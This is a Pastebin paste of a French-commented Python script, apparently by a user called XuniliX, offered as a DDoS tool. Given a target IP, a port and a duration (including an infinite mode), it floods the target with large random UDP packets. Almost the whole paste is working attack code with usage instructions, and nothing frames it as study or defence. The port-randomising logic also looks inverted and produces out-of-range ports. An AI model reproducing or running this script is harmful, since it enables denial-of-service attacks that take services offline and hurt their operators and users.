xunilix

Python | xunilix.py | script DDoS

Oct 13th, 2015
8,721
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.32 KB | None | 0 0
  1. _ __ _ ___ _ __
  2. | |/ /_ ______ (_) (_) |/ /
  3. | / / / / __ \/ / / /| /
  4. / / /_/ / / / / / / // |
  5. /_/|_\__,_/_/ /_/_/_/_//_/|_|
  6. ___ __ __
  7. / | ____ ____ ____ / //_/____ ____ _ __
  8. / /| | / __ \/ __ \/ __ \/ ,< / __ \/ __ \ | /| / /
  9. / ___ |/ / / / /_/ / / / / /| |/ / / / /_/ / |/ |/ /
  10. /_/ |_/_/ /_/\____/_/ /_/_/ |_/_/ /_/\____/|__/|__/
  11.  
  12. ===============================================================================================================
  13. ============================================ Informations =====================================================
  14.  
  15. Type : DDoS With UDP Flood
  16. Language : Python
  17. Commande : xunilix.py <ip> <port> <temps>
  18.  
  19. 80 pour le port par default
  20. -1 pour une attaque à durée infinie
  21.  
  22. ===============================================================================================================
  23. ============================================= Le script =======================================================
  24.  
  25. #!/usr/bin/python
  26. import socket,random,sys,time
  27.  
  28. if len(sys.argv)==1:
  29. sys.exit('Usage: xunilix.py <adresse ip> <port> <temps> | Mettre 80 pour les adresses ip classiques, mettre -1 dans le temps pour le mode infini')
  30.  
  31. def UDPFlood():
  32. port = int(sys.argv[2])
  33. randport=(True,False)[port==0]
  34. ip = sys.argv[1]
  35. dur = int(sys.argv[3])
  36. clock=(lambda:0,time.clock)[dur>0]
  37. duration=(1,(clock()+dur))[dur>0]
  38. print('Attaque lancer sur %s:%s pour %s secondes !'%(ip,port,dur or 'infinite'))
  39. sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  40. bytes=random._urandom(65500)
  41. while True:
  42. port=(random.randint(1,15000000),port)[randport]
  43. if clock()<duration:
  44. sock.sendto(bytes,(ip,port))
  45. else:
  46. break
  47. print('DONE')
  48. UDPFlood()
  49.  
  50. ===============================================================================================================
  51. Script DDoS By XuniliX
  52. ===============================================================================================================
Advertisement
Add Comment
Please, Sign In to add comment